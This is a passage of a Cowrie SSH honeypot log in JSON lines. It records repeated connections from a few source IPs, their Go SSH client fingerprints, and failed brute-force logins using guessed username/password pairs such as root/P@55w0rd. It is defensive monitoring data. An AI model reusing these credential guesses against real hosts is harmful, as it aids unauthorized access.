{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36602,"dst_ip":"159.203.135.109","dst_port":22,"session":"665b4897eaf8","protocol":"ssh","message":"New connection: 192.109.200.237:36602 (159.203.135.109:22) [session: 665b4897eaf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:00.224702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:00.231568Z","src_ip":"192.109.200.237","session":"665b4897eaf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:00.316120Z","src_ip":"192.109.200.237","session":"665b4897eaf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:00.569120Z","src_ip":"192.109.200.237","session":"665b4897eaf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:01.653810Z","src_ip":"192.109.200.237","session":"665b4897eaf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36610,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8e65ccb6425","protocol":"ssh","message":"New connection: 192.109.200.237:36610 (159.203.135.109:22) [session: b8e65ccb6425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:03.427471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:03.433004Z","src_ip":"192.109.200.237","session":"b8e65ccb6425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:03.515908Z","src_ip":"192.109.200.237","session":"b8e65ccb6425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:03.782926Z","src_ip":"192.109.200.237","session":"b8e65ccb6425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":59828,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0b8858d8211","protocol":"ssh","message":"New connection: 103.27.238.116:59828 (10.17.0.5:22) [session: b0b8858d8211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:04.211767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:04.218552Z","src_ip":"103.27.238.116","session":"b0b8858d8211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:04.475252Z","src_ip":"103.27.238.116","session":"b0b8858d8211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:04.868389Z","src_ip":"192.109.200.237","session":"b8e65ccb6425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sabrina","message":"login attempt [root/sabrina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:05.248796Z","src_ip":"103.27.238.116","session":"b0b8858d8211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:06.507578Z","src_ip":"103.27.238.116","session":"b0b8858d8211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36618,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7913726a061","protocol":"ssh","message":"New connection: 192.109.200.237:36618 (159.203.135.109:22) [session: c7913726a061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:06.567327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:06.573681Z","src_ip":"192.109.200.237","session":"c7913726a061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:06.658921Z","src_ip":"192.109.200.237","session":"c7913726a061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:06.913654Z","src_ip":"192.109.200.237","session":"c7913726a061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:08.002442Z","src_ip":"192.109.200.237","session":"c7913726a061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5e0b650c757","protocol":"ssh","message":"New connection: 192.109.200.237:36624 (159.203.135.109:22) [session: f5e0b650c757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:09.632504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:09.637829Z","src_ip":"192.109.200.237","session":"f5e0b650c757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:09.769928Z","src_ip":"192.109.200.237","session":"f5e0b650c757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:10.153357Z","src_ip":"192.109.200.237","session":"f5e0b650c757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":56880,"dst_ip":"10.17.0.5","dst_port":22,"session":"aef6c822a697","protocol":"ssh","message":"New connection: 103.82.132.16:56880 (10.17.0.5:22) [session: aef6c822a697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:10.319558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:10.328210Z","src_ip":"103.82.132.16","session":"aef6c822a697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:10.585347Z","src_ip":"103.82.132.16","session":"aef6c822a697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:11.238536Z","src_ip":"192.109.200.237","session":"f5e0b650c757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19741974","message":"login attempt [root/19741974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:11.357503Z","src_ip":"103.82.132.16","session":"aef6c822a697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:12.618035Z","src_ip":"103.82.132.16","session":"aef6c822a697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37922,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a26ddb06312","protocol":"ssh","message":"New connection: 192.109.200.237:37922 (159.203.135.109:22) [session: 0a26ddb06312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:12.950370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:12.955353Z","src_ip":"192.109.200.237","session":"0a26ddb06312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:13.039659Z","src_ip":"192.109.200.237","session":"0a26ddb06312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:13.293343Z","src_ip":"192.109.200.237","session":"0a26ddb06312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:14.380100Z","src_ip":"192.109.200.237","session":"0a26ddb06312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37932,"dst_ip":"159.203.135.109","dst_port":22,"session":"15a87bac16c4","protocol":"ssh","message":"New connection: 192.109.200.237:37932 (159.203.135.109:22) [session: 15a87bac16c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:16.119277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:16.125157Z","src_ip":"192.109.200.237","session":"15a87bac16c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:16.209954Z","src_ip":"192.109.200.237","session":"15a87bac16c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:16.461913Z","src_ip":"192.109.200.237","session":"15a87bac16c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:17.547809Z","src_ip":"192.109.200.237","session":"15a87bac16c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37948,"dst_ip":"159.203.135.109","dst_port":22,"session":"937e27dee1f4","protocol":"ssh","message":"New connection: 192.109.200.237:37948 (159.203.135.109:22) [session: 937e27dee1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:19.320286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:19.325304Z","src_ip":"192.109.200.237","session":"937e27dee1f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v